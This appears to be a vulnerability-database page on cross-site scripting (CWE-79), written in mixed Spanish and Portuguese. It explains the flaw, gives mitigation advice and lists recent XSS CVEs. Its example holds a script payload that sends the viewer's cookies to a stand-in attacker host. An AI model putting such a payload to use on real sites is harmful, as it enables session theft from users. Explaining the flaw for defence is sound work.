Fallos del tipo CWE-79

30.266 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-12524MEDIUMClinked Client Portal <= 1.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-3614MEDIUMElementsKit Elementor Addons and Templates <= 3.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom WidgetEPSS 0.3%CVE-2026-69235MEDIUMstored cross site scripting issue in Esri Portal for ArcGISEPSS 0.3%CVE-2024-47624HIGHWordPress BSK Forms Blacklist plugin <= 3.8.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-115821HIGHNewsmanApp <= 3.7.29 - Unauthenticated Stored Cross-Site Scripting via 'billing_first_name' and 'billing_last_name' ParametersEPSS 0.3%CVE-2024-4993MEDIUMSQL injection vulnerability in SiAdminEPSS 0.3%CVE-2026-103389MEDIUMMISP Stored Cross-Site Scripting via Unvalidated Galaxy Icon Field in Correlation GraphEPSS 0.3%CVE-2024-28804HIGHAn issue was discovered in Italtel i-MCS NFV 12.1.0-20211215. Stored Cross-site scripting (XSS) can occur via POST.EPSS 0.3%CVE-2025-3478HIGHOpenText Enterprise Security Manager Stored XSSEPSS 0.3%CVE-2019-25317MEDIUMKimai 2- persistent cross-site scripting (XSS)EPSS 0.3%CVE-2026-0691MEDIUMCM E-Mail Blacklist <= 1.6.2 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'black_email' ParameterEPSS 0.3%CVE-2026-66146MEDIUMMultiple Cross-Site Scripting (XSS) vulnerabilities were identified in GMS 9.5.1 (Build 9510.1044) and earlier versions that allow a remote EPSS 0.3%CVE-2026-52475MEDIUMCross Site Scripting vulnerability in aiflowy <= 2.1.2 allows a remote attacker to obtain sensitive information via the UploadController.javEPSS 0.3%CVE-2024-6986MEDIUMCross-site Scripting (XSS) in parisneo/lollms-webuiEPSS 0.3%CVE-2026-103664MEDIUMMISP Reflected Cross-Site Scripting via Unsanitized Analyst Data Seed ParameterEPSS 0.3%CVE-2025-22316MEDIUMWordPress WPBITS Addons For Elementor Page Builder plugin <= 1.5.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-12448MEDIUMPosts and Products Views for WooCommerce <= 2.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-22617MEDIUMWeGIA Cross-Site Scripting (XSS) Reflected endpoint 'editar_socio.php' parameter 'socio'EPSS 0.3%CVE-2025-5341MEDIUMForminator <= 1.44.1 - Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via id and data-size ParametersEPSS 0.3%CVE-2024-0688MEDIUMWebSub (FKA. PubSubHubbub) <= 3.1.4 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%